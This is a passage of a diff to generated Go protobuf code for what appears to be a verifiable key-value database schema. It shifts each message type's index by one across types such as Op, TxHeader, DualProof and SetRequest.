+1392,7 @@ func (x *Op) String() string { func (*Op) ProtoMessage() {} func (x *Op) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[17] + mi := &file_schema_proto_msgTypes[18] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -1412,7 +1405,7 @@ func (x *Op) ProtoReflect() protoreflect.Message { // Deprecated: Use Op.ProtoReflect.Descriptor instead. func (*Op) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{17} + return file_schema_proto_rawDescGZIP(), []int{18} } func (m *Op) GetOperation() isOp_Operation { @@ -1484,7 +1477,7 @@ type ExecAllRequest struct { func (x *ExecAllRequest) Reset() { *x = ExecAllRequest{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[18] + mi := &file_schema_proto_msgTypes[19] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -1497,7 +1490,7 @@ func (x *ExecAllRequest) String() string { func (*ExecAllRequest) ProtoMessage() {} func (x *ExecAllRequest) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[18] + mi := &file_schema_proto_msgTypes[19] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -1510,7 +1503,7 @@ func (x *ExecAllRequest) ProtoReflect() protoreflect.Message { // Deprecated: Use ExecAllRequest.ProtoReflect.Descriptor instead. func (*ExecAllRequest) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{18} + return file_schema_proto_rawDescGZIP(), []int{19} } func (x *ExecAllRequest) GetOperations() []*Op { @@ -1546,7 +1539,7 @@ type Entries struct { func (x *Entries) Reset() { *x = Entries{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[19] + mi := &file_schema_proto_msgTypes[20] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -1559,7 +1552,7 @@ func (x *Entries) String() string { func (*Entries) ProtoMessage() {} func (x *Entries) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[19] + mi := &file_schema_proto_msgTypes[20] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -1572,7 +1565,7 @@ func (x *Entries) ProtoReflect() protoreflect.Message { // Deprecated: Use Entries.ProtoReflect.Descriptor instead. func (*Entries) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{19} + return file_schema_proto_rawDescGZIP(), []int{20} } func (x *Entries) GetEntries() []*Entry { @@ -1603,7 +1596,7 @@ type ZEntry struct { func (x *ZEntry) Reset() { *x = ZEntry{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[20] + mi := &file_schema_proto_msgTypes[21] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -1616,7 +1609,7 @@ func (x *ZEntry) String() string { func (*ZEntry) ProtoMessage() {} func (x *ZEntry) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[20] + mi := &file_schema_proto_msgTypes[21] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -1629,7 +1622,7 @@ func (x *ZEntry) ProtoReflect() protoreflect.Message { // Deprecated: Use ZEntry.ProtoReflect.Descriptor instead. func (*ZEntry) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{20} + return file_schema_proto_rawDescGZIP(), []int{21} } func (x *ZEntry) GetSet() []byte { @@ -1678,7 +1671,7 @@ type ZEntries struct { func (x *ZEntries) Reset() { *x = ZEntries{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[21] + mi := &file_schema_proto_msgTypes[22] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -1691,7 +1684,7 @@ func (x *ZEntries) String() string { func (*ZEntries) ProtoMessage() {} func (x *ZEntries) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[21] + mi := &file_schema_proto_msgTypes[22] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -1704,7 +1697,7 @@ func (x *ZEntries) ProtoReflect() protoreflect.Message { // Deprecated: Use ZEntries.ProtoReflect.Descriptor instead. func (*ZEntries) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{21} + return file_schema_proto_rawDescGZIP(), []int{22} } func (x *ZEntries) GetEntries() []*ZEntry { @@ -1747,7 +1740,7 @@ type ScanRequest struct { func (x *ScanRequest) Reset() { *x = ScanRequest{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[22] + mi := &file_schema_proto_msgTypes[23] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -1760,7 +1753,7 @@ func (x *ScanRequest) String() string { func (*ScanRequest) ProtoMessage() {} func (x *ScanRequest) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[22] + mi := &file_schema_proto_msgTypes[23] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -1773,7 +1766,7 @@ func (x *ScanRequest) ProtoReflect() protoreflect.Message { // Deprecated: Use ScanRequest.ProtoReflect.Descriptor instead. func (*ScanRequest) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{22} + return file_schema_proto_rawDescGZIP(), []int{23} } func (x *ScanRequest) GetSeekKey() []byte { @@ -1857,7 +1850,7 @@ type KeyPrefix struct { func (x *KeyPrefix) Reset() { *x = KeyPrefix{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[23] + mi := &file_schema_proto_msgTypes[24] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -1870,7 +1863,7 @@ func (x *KeyPrefix) String() string { func (*KeyPrefix) ProtoMessage() {} func (x *KeyPrefix) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[23] + mi := &file_schema_proto_msgTypes[24] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -1883,7 +1876,7 @@ func (x *KeyPrefix) ProtoReflect() protoreflect.Message { // Deprecated: Use KeyPrefix.ProtoReflect.Descriptor instead. func (*KeyPrefix) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{23} + return file_schema_proto_rawDescGZIP(), []int{24} } func (x *KeyPrefix) GetPrefix() []byte { @@ -1904,7 +1897,7 @@ type EntryCount struct { func (x *EntryCount) Reset() { *x = EntryCount{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[24] + mi := &file_schema_proto_msgTypes[25] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -1917,7 +1910,7 @@ func (x *EntryCount) String() string { func (*EntryCount) ProtoMessage() {} func (x *EntryCount) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[24] + mi := &file_schema_proto_msgTypes[25] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -1930,7 +1923,7 @@ func (x *EntryCount) ProtoReflect() protoreflect.Message { // Deprecated: Use EntryCount.ProtoReflect.Descriptor instead. func (*EntryCount) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{24} + return file_schema_proto_rawDescGZIP(), []int{25} } func (x *EntryCount) GetCount() uint64 { @@ -1952,7 +1945,7 @@ type Signature struct { func (x *Signature) Reset() { *x = Signature{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[25] + mi := &file_schema_proto_msgTypes[26] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -1965,7 +1958,7 @@ func (x *Signature) String() string { func (*Signature) ProtoMessage() {} func (x *Signature) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[25] + mi := &file_schema_proto_msgTypes[26] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -1978,7 +1971,7 @@ func (x *Signature) ProtoReflect() protoreflect.Message { // Deprecated: Use Signature.ProtoReflect.Descriptor instead. func (*Signature) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{25} + return file_schema_proto_rawDescGZIP(), []int{26} } func (x *Signature) GetPublicKey() []byte { @@ -2024,7 +2017,7 @@ type TxHeader struct { func (x *TxHeader) Reset() { *x = TxHeader{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[26] + mi := &file_schema_proto_msgTypes[27] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -2037,7 +2030,7 @@ func (x *TxHeader) String() string { func (*TxHeader) ProtoMessage() {} func (x *TxHeader) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[26] + mi := &file_schema_proto_msgTypes[27] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -2050,7 +2043,7 @@ func (x *TxHeader) ProtoReflect() protoreflect.Message { // Deprecated: Use TxHeader.ProtoReflect.Descriptor instead. func (*TxHeader) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{26} + return file_schema_proto_rawDescGZIP(), []int{27} } func (x *TxHeader) GetId() uint64 { @@ -2131,7 +2124,7 @@ type TxMetadata struct { func (x *TxMetadata) Reset() { *x = TxMetadata{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[27] + mi := &file_schema_proto_msgTypes[28] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -2144,7 +2137,7 @@ func (x *TxMetadata) String() string { func (*TxMetadata) ProtoMessage() {} func (x *TxMetadata) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[27] + mi := &file_schema_proto_msgTypes[28] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -2157,7 +2150,7 @@ func (x *TxMetadata) ProtoReflect() protoreflect.Message { // Deprecated: Use TxMetadata.ProtoReflect.Descriptor instead. func (*TxMetadata) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{27} + return file_schema_proto_rawDescGZIP(), []int{28} } func (x *TxMetadata) GetTruncatedTxID() uint64 { @@ -2191,7 +2184,7 @@ type LinearProof struct { func (x *LinearProof) Reset() { *x = LinearProof{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[28] + mi := &file_schema_proto_msgTypes[29] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -2204,7 +2197,7 @@ func (x *LinearProof) String() string { func (*LinearProof) ProtoMessage() {} func (x *LinearProof) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[28] + mi := &file_schema_proto_msgTypes[29] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -2217,7 +2210,7 @@ func (x *LinearProof) ProtoReflect() protoreflect.Message { // Deprecated: Use LinearProof.ProtoReflect.Descriptor instead. func (*LinearProof) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{28} + return file_schema_proto_rawDescGZIP(), []int{29} } func (x *LinearProof) GetSourceTxId() uint64 { @@ -2257,7 +2250,7 @@ type LinearAdvanceProof struct { func (x *LinearAdvanceProof) Reset() { *x = LinearAdvanceProof{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[29] + mi := &file_schema_proto_msgTypes[30] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -2270,7 +2263,7 @@ func (x *LinearAdvanceProof) String() string { func (*LinearAdvanceProof) ProtoMessage() {} func (x *LinearAdvanceProof) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[29] + mi := &file_schema_proto_msgTypes[30] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -2283,7 +2276,7 @@ func (x *LinearAdvanceProof) ProtoReflect() protoreflect.Message { // Deprecated: Use LinearAdvanceProof.ProtoReflect.Descriptor instead. func (*LinearAdvanceProof) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{29} + return file_schema_proto_rawDescGZIP(), []int{30} } func (x *LinearAdvanceProof) GetLinearProofTerms() [][]byte { @@ -2327,7 +2320,7 @@ type DualProof struct { func (x *DualProof) Reset() { *x = DualProof{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[30] + mi := &file_schema_proto_msgTypes[31] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -2340,7 +2333,7 @@ func (x *DualProof) String() string { func (*DualProof) ProtoMessage() {} func (x *DualProof) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[30] + mi := &file_schema_proto_msgTypes[31] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -2353,7 +2346,7 @@ func (x *DualProof) ProtoReflect() protoreflect.Message { // Deprecated: Use DualProof.ProtoReflect.Descriptor instead. func (*DualProof) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{30} + return file_schema_proto_rawDescGZIP(), []int{31} } func (x *DualProof) GetSourceTxHeader() *TxHeader { @@ -2431,7 +2424,7 @@ type DualProofV2 struct { func (x *DualProofV2) Reset() { *x = DualProofV2{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[31] + mi := &file_schema_proto_msgTypes[32] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -2444,7 +2437,7 @@ func (x *DualProofV2) String() string { func (*DualProofV2) ProtoMessage() {} func (x *DualProofV2) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[31] + mi := &file_schema_proto_msgTypes[32] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -2457,7 +2450,7 @@ func (x *DualProofV2) ProtoReflect() protoreflect.Message { // Deprecated: Use DualProofV2.ProtoReflect.Descriptor instead. func (*DualProofV2) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{31} + return file_schema_proto_rawDescGZIP(), []int{32} } func (x *DualProofV2) GetSourceTxHeader() *TxHeader { @@ -2506,7 +2499,7 @@ type Tx struct { func (x *Tx) Reset() { *x = Tx{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[32] + mi := &file_schema_proto_msgTypes[33] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -2519,7 +2512,7 @@ func (x *Tx) String() string { func (*Tx) ProtoMessage() {} func (x *Tx) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[32] + mi := &file_schema_proto_msgTypes[33] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -2532,7 +2525,7 @@ func (x *Tx) ProtoReflect() protoreflect.Message { // Deprecated: Use Tx.ProtoReflect.Descriptor instead. func (*Tx) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{32} + return file_schema_proto_rawDescGZIP(), []int{33} } func (x *Tx) GetHeader() *TxHeader { @@ -2584,7 +2577,7 @@ type TxEntry struct { func (x *TxEntry) Reset() { *x = TxEntry{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[33] + mi := &file_schema_proto_msgTypes[34] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -2597,7 +2590,7 @@ func (x *TxEntry) String() string { func (*TxEntry) ProtoMessage() {} func (x *TxEntry) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[33] + mi := &file_schema_proto_msgTypes[34] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -2610,7 +2603,7 @@ func (x *TxEntry) ProtoReflect() protoreflect.Message { // Deprecated: Use TxEntry.ProtoReflect.Descriptor instead. func (*TxEntry) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{33} + return file_schema_proto_rawDescGZIP(), []int{34} } func (x *TxEntry) GetKey() []byte { @@ -2664,7 +2657,7 @@ type KVMetadata struct { func (x *KVMetadata) Reset() { *x = KVMetadata{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[34] + mi := &file_schema_proto_msgTypes[35] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -2677,7 +2670,7 @@ func (x *KVMetadata) String() string { func (*KVMetadata) ProtoMessage() {} func (x *KVMetadata) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[34] + mi := &file_schema_proto_msgTypes[35] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -2690,7 +2683,7 @@ func (x *KVMetadata) ProtoReflect() protoreflect.Message { // Deprecated: Use KVMetadata.ProtoReflect.Descriptor instead. func (*KVMetadata) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{34} + return file_schema_proto_rawDescGZIP(), []int{35} } func (x *KVMetadata) GetDeleted() bool { @@ -2726,7 +2719,7 @@ type Expiration struct { func (x *Expiration) Reset() { *x = Expiration{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[35] + mi := &file_schema_proto_msgTypes[36] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -2739,7 +2732,7 @@ func (x *Expiration) String() string { func (*Expiration) ProtoMessage() {} func (x *Expiration) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[35] + mi := &file_schema_proto_msgTypes[36] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -2752,7 +2745,7 @@ func (x *Expiration) ProtoReflect() protoreflect.Message { // Deprecated: Use Expiration.ProtoReflect.Descriptor instead. func (*Expiration) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{35} + return file_schema_proto_rawDescGZIP(), []int{36} } func (x *Expiration) GetExpiresAt() int64 { @@ -2778,7 +2771,7 @@ type VerifiableTx struct { func (x *VerifiableTx) Reset() { *x = VerifiableTx{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[36] + mi := &file_schema_proto_msgTypes[37] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -2791,7 +2784,7 @@ func (x *VerifiableTx) String() string { func (*VerifiableTx) ProtoMessage() {} func (x *VerifiableTx) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[36] + mi := &file_schema_proto_msgTypes[37] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -2804,7 +2797,7 @@ func (x *VerifiableTx) ProtoReflect() protoreflect.Message { // Deprecated: Use VerifiableTx.ProtoReflect.Descriptor instead. func (*VerifiableTx) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{36} + return file_schema_proto_rawDescGZIP(), []int{37} } func (x *VerifiableTx) GetTx() *Tx { @@ -2844,7 +2837,7 @@ type VerifiableTxV2 struct { func (x *VerifiableTxV2) Reset() { *x = VerifiableTxV2{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[37] + mi := &file_schema_proto_msgTypes[38] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -2857,7 +2850,7 @@ func (x *VerifiableTxV2) String() string { func (*VerifiableTxV2) ProtoMessage() {} func (x *VerifiableTxV2) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[37] + mi := &file_schema_proto_msgTypes[38] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -2870,7 +2863,7 @@ func (x *VerifiableTxV2) ProtoReflect() protoreflect.Message { // Deprecated: Use VerifiableTxV2.ProtoReflect.Descriptor instead. func (*VerifiableTxV2) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{37} + return file_schema_proto_rawDescGZIP(), []int{38} } func (x *VerifiableTxV2) GetTx() *Tx { @@ -2910,7 +2903,7 @@ type VerifiableEntry struct { func (x *VerifiableEntry) Reset() { *x = VerifiableEntry{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[38] + mi := &file_schema_proto_msgTypes[39] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -2923,7 +2916,7 @@ func (x *VerifiableEntry) String() string { func (*VerifiableEntry) ProtoMessage() {} func (x *VerifiableEntry) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[38] + mi := &file_schema_proto_msgTypes[39] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -2936,7 +2929,7 @@ func (x *VerifiableEntry) ProtoReflect() protoreflect.Message { // Deprecated: Use VerifiableEntry.ProtoReflect.Descriptor instead. func (*VerifiableEntry) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{38} + return file_schema_proto_rawDescGZIP(), []int{39} } func (x *VerifiableEntry) GetEntry() *Entry { @@ -2976,7 +2969,7 @@ type InclusionProof struct { func (x *InclusionProof) Reset() { *x = InclusionProof{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[39] + mi := &file_schema_proto_msgTypes[40] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -2989,7 +2982,7 @@ func (x *InclusionProof) String() string { func (*InclusionProof) ProtoMessage() {} func (x *InclusionProof) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[39] + mi := &file_schema_proto_msgTypes[40] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -3002,7 +2995,7 @@ func (x *InclusionProof) ProtoReflect() protoreflect.Message { // Deprecated: Use InclusionProof.ProtoReflect.Descriptor instead. func (*InclusionProof) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{39} + return file_schema_proto_rawDescGZIP(), []int{40} } func (x *InclusionProof) GetLeaf() int32 { @@ -3042,7 +3035,7 @@ type SetRequest struct { func (x *SetRequest) Reset() { *x = SetRequest{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[40] + mi := &file_schema_proto_msgTypes[41] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -3055,7 +3048,7 @@ func (x *SetRequest) String() string { func (*SetRequest) ProtoMessage() {} func (x *SetRequest) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[40] + mi := &file_schema_proto_msgTypes[41] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -3068,7 +3061,7 @@ func (x *SetRequest) ProtoReflect() protoreflect.Message { // Deprecated: Use SetRequest.ProtoReflect.Descriptor instead. func (*SetRequest) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{40} + return file_schema_proto_rawDescGZIP(), []int{41} } func (x *SetRequest) GetKVs() []*KeyValue { @@ -3114,7 +3107,7 @@ type KeyRequest struct { func (x *KeyRequest) Reset() { *x = KeyRequest{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[41] + mi := &file_schema_proto_msgTypes[42] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -3127,7 +3120,7 @@ func (x *KeyRequest) String() string { func (*KeyRequest) ProtoMessage() {} func (x *KeyRequest) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[41] + mi := &file_schema_proto_msgTypes[42] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -3140,7 +3133,7 @@ func (x *KeyRequest) ProtoReflect() protoreflect.Message { // Deprecated: Use KeyRequest.ProtoReflect.Descriptor instead. func (*KeyRequest) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{41} + return file_schema_proto_rawDescGZIP(), []int{42} } func (x *KeyRequest) GetKey() []byte { @@ -3193,7 +3186,7 @@ type KeyListRequest struct { func (x *KeyListRequest) Reset() { *x = KeyListRequest{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[42] + mi := &file_schema_proto_msgTypes[43] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -3206,7 +3199,7 @@ func (x *KeyListRequest) String() string { func (*KeyListRequest) ProtoMessage() {} func (x *KeyListRequest) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[42] + mi := &file_schema_proto_msgTypes[43] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -3219,7 +3212,7 @@ func (x *KeyListRequest) ProtoReflect() protoreflect.Message { // Deprecated: Use KeyListRequest.ProtoReflect.Descriptor instead. func (*KeyListRequest) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{42} + return file_schema_proto_rawDescGZIP(), []int{43} } func (x *KeyListRequest) GetKeys() [][]byte { @@ -3253,7 +3246,7 @@ type DeleteKeysRequest struct { func (x *DeleteKeysRequest) Reset() { *x = DeleteKeysRequest{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[43] + mi := &file_schema_proto_msgTypes[44] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -3266,7 +3259,7 @@ func (x *DeleteKeysRequest) String() string { func (*DeleteKeysRequest) ProtoMessage() {} func (x *DeleteKeysRequest) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[43] + mi := &file_schema_proto_msgTypes[44] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -3279,7 +3272,7 @@ func (x *DeleteKeysRequest) ProtoReflect() protoreflect.Message { // Deprecated: Use DeleteKeysRequest.ProtoReflect.Descriptor instead. func (*DeleteKeysRequest) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{43} + return file_schema_proto_rawDescGZIP(), []int{44} } func (x *DeleteKeysRequest) GetKeys() [][]byte { @@ -3317,7 +3310,7 @@ type VerifiableSetRequest struct { func (x *VerifiableSetRequest) Reset() { *x = VerifiableSetRequest{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[44] + mi := &file_schema_proto_msgTypes[45] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -3330,7 +3323,7 @@ func (x *VerifiableSetRequest) String() string { func (*VerifiableSetRequest) ProtoMessage() {} func (x *VerifiableSetRequest) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[44] + mi := &file_schema_proto_msgTypes[45] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -3343,7 +3336,7 @@ func (x *VerifiableSetRequest) ProtoReflect() protoreflect.Message { // Deprecated: Use VerifiableSetRequest.ProtoReflect.Descriptor instead. func (*VerifiableSetRequest) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{44} + return file_schema_proto_rawDescGZIP(), []int{45} } func (x *VerifiableSetRequest) GetSetRequest() *SetRequest { @@ -3374,7 +3367,7 @@ type VerifiableGetRequest struct { func (x *VerifiableGetRequest) Reset() { *x = VerifiableGetRequest{} if protoimpl.UnsafeEnabled { - mi := 